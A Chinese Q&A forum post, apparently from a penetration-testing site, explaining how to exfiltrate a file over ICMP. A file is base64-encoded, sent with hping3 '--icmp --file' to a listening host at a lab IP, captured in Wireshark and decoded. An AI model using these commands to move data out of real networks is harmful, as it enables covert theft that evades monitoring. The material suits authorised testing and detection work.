@烟雨
3年前 提问
1个回答

渗透测试如何发送ICMP数据包

007bug
3年前

1.base64编码

1.将我们要传输的文件进行base64编码:

base64 XXX>test              #linux
certutil -encode test.zip temp    #windows
#-encode  base64编码
#test.zip 要加密的文件
#temp      生成的base64编码文件

2.监听icmp

在接收的远程主机上输入下面的命令监听接收的数据,并开启wireshark,并设置过滤策略为只监听icmp

hping3 x.x.x.x --listen signature --safe --icmp -u

参数说明:

(1)–listen   指定hping3为监听模式,接收发来的数据

(2)signature  指定接收数据的签名,每条发来的数据都会在最前面带上这个字符串,也就是说,“signature”这个字符串后就是我们接受到的数据,后面拼接是要用到

(3)–safe   以安全模式接收,确保发来的数据包是按照发送顺序,完整的接收到

(4)–icmp   指定通过icmp协议传输

(5)-u     接收完成后自动中断(官方资料如是说,但是我这里没有达到这个效果)

(6)x.x.x.x   是我们指定的需要接收的地址,也就是表明:我们只接收来自192.168.164.128发来的icmp数据包

3.发送文件

在发送方执行下面的命令,来通过icmp数据包发送文件

sudo hping3 192.168.164.136 --icmp -d 1000 --sign signature --file test -u

参数说明:(与上面重复的不在说明)

(1)x.x.x.x      指定我们要发送给那个主机

(2)-d         指定每个数据包的大小

(3)–sign signature  指定签名内容,也就是上一步我们需要接收的签名字符串为”signature”

(4)–file test     指定我们要传输的文件为test文件,也就是我们进行base64编码后的编码文件

按理说,应该也可以用–safe参数的,但是我这里用–safe后,目的地址就变成了127.0.0.1,不知道怎们回事,暂且不用

加了-u参数后,文件发送完成,它会提示我们按下ctrl+c来停止传送,如果不停止,它会反复发送

4.接受数据包

在接收端wireshark已经可以看到接受到的数据包

这里由于测试,我们的文件比较短,直接提取data中text类型中的字符串,右键->copy->value就可以取到

由于我们取到的值进行了签名,就是前面的“signature”字符串,我们直接去掉这个字符串,只保留后面的base64编码,保存为temp

5.执行解码命令

在接收端执行解码命令还原文件

cat temp|base64 -d>test       #linux
certutil -decode temp test.zip  #windows
#-decode  base64编码
#temp      要解密的base64编码文件
#test.zip   生还原的文件

可以看到已经对文件进行了还原,是一个zip文件。

传输完成。